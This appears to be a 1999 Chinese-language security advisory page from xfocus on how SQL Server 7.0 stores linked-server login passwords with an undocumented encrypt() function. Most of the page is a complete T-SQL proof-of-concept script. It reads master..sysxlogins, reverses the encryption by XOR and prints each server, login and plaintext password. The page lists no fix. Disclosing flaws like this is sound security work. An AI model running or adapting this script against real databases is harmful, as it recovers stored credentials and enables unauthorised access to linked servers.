xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

SQL Server 7.0 Linked Server Password


发布时间:1999-11-17
更新时间:1999-11-17
严重程度:
威胁程度:口令恢复
错误类型:设计错误
利用方式:服务器模式

受影响系统
WinNT
SQL Server 7
详细描述
SQL server 7介绍了LINK SERVERS的功能。如果远程服务器也运行了SQL SERVER7,则可以通过某些方法通过安全可信性检查(security credentials);如果远程服务器运行的是其他的包括SQL SERVER6.5,LINKED 的LOGIN 必须被映射为本地的LOGIN用户名和密码,这样它们可以用来作为在REMOTE SERVER上认证过程中的密码和用户名。这些 LINKED的LOGIN用户名和密码储存在'master..sysxlogins'表中,而密码使用一种新的,没有文献说明的,称为encrypt()加密后存储在此表中。

测试代码
set nocount on

declare pwd cursor for

select s.srvname, l.name, l.password from
master..sysservers s

join master..sysxlogins l on s.srvid = l.srvid
where l.sid is not null

for read only


declare @server varchar(256), @login varchar(256)

declare @password varbinary(256), @pwdtext

nvarchar(128)

declare @i int, @lsb tinyint, @msb tinyint, @tmp
varbinary(256)

open pwd

fetch from pwd into @server, @login, @password

while @@fetch_status = 0

    begin

    set @i = 0

    set @pwdtext = N''

    while @i < datalength(@password)

        begin

        set @tmp = encrypt(@pwdtext + nchar(0))

        set @lsb = convert(tinyint, substring
(@tmp, @i + 1, 1))

            ^ convert(tinyint, substring
(@password, @i + 1, 1))

        set @i = @i + 1


        set @tmp = encrypt(@pwdtext + nchar
(@lsb))

        set @msb = convert(tinyint, substring
(@tmp, @i + 1, 1))
            ^ convert(tinyint, substring
(@password, @i + 1, 1))

        set @i = @i + 1


        set @pwdtext = @pwdtext + nchar(convert
(smallint, @lsb)

            + 256 * convert(smallint, @msb))

        end


    print @server + ', ' + @login + ', ' +
@pwdtext


    fetch from pwd into @server, @login,
@password

    end

deallocate pwd

解决方案
暂无

相关信息